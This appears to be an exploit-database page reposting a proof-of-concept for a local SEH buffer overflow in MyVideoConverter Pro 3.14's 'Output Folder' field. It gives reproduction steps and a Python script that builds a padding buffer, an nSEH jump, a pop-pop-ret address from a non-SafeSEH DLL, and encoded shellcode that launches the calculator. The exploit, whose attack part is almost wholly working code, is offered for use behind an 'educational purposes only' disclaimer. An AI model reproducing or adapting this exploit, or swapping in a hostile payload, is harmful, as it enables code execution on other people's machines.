Myvideoconverter pro 3.14 output folder buffer overflow Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-02-12 | Type : local | Platform : windows
This exploit / vulnerability Myvideoconverter pro 3.14 output folder buffer overflow is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

#Exploit Title: MyVideoConverter Pro 3.14 - 'Output Folder' Buffer Overflow
#Exploit Author : ZwX
#Exploit Date: 2020-02-11
#Vendor Homepage : http://www.ivideogo.com/
#Tested on OS: Windows 10 v1803
#Social: twitter.com/ZwX2a


## Steps to Reproduce: ##
#1. Run the python exploit script, it will create a new file with the name "exploit.txt".
#2. Just copy the text inside "exploit.txt".
#3. Start the program. In the new window click "Options" > "Settins" .
#4. Now paste the content of "exploit.txt" into the field: "Output Folder" > Click "..."
#5. The calculator runs successfully


#!/usr/bin/python

from struct import pack

buffer = "\x41" * 268
nseh = "\xeb\x06\xff\xff"
seh = pack("<I",0x10045ebb)
#0x10045ebb : pop edi # pop ebx # ret | {PAGE_EXECUTE_READ} [mysubtitle.dll]
#ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.0.0.1 (C:\Program Files\MyVideoConverter Pro\mysubtitle.dll)
shellcode = ""
shellcode += "\xdb\xce\xbf\x90\x28\x2f\x09\xd9\x74\x24\xf4\x5d\x29"
shellcode += "\xc9\xb1\x31\x31\x7d\x18\x83\xc5\x04\x03\x7d\x84\xca"
shellcode += "\xda\xf5\x4c\x88\x25\x06\x8c\xed\xac\xe3\xbd\x2d\xca"
shellcode += "\x60\xed\x9d\x98\x25\x01\x55\xcc\xdd\x92\x1b\xd9\xd2"
shellcode += "\x13\x91\x3f\xdc\xa4\x8a\x7c\x7f\x26\xd1\x50\x5f\x17"
shellcode += "\x1a\xa5\x9e\x50\x47\x44\xf2\x09\x03\xfb\xe3\x3e\x59"
shellcode += "\xc0\x88\x0c\x4f\x40\x6c\xc4\x6e\x61\x23\x5f\x29\xa1"
shellcode += "\xc5\x8c\x41\xe8\xdd\xd1\x6c\xa2\x56\x21\x1a\x35\xbf"
shellcode += "\x78\xe3\x9a\xfe\xb5\x16\xe2\xc7\x71\xc9\x91\x31\x82"
shellcode += "\x74\xa2\x85\xf9\xa2\x27\x1e\x59\x20\x9f\xfa\x58\xe5"
shellcode += "\x46\x88\x56\x42\x0c\xd6\x7a\x55\xc1\x6c\x86\xde\xe4"
shellcode += "\xa2\x0f\xa4\xc2\x66\x54\x7e\x6a\x3e\x30\xd1\x93\x20"
shellcode += "\x9b\x8e\x31\x2a\x31\xda\x4b\x71\x5f\x1d\xd9\x0f\x2d"
shellcode += "\x1d\xe1\x0f\x01\x76\xd0\x84\xce\x01\xed\x4e\xab\xee"
shellcode += "\x0f\x5b\xc1\x86\x89\x0e\x68\xcb\x29\xe5\xae\xf2\xa9"
shellcode += "\x0c\x4e\x01\xb1\x64\x4b\x4d\x75\x94\x21\xde\x10\x9a"
shellcode += "\x96\xdf\x30\xf9\x79\x4c\xd8\xd0\x1c\xf4\x7b\x2d"

payload = buffer + nseh + seh + shellcode
try:
f=open("exploit.txt","w")
print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"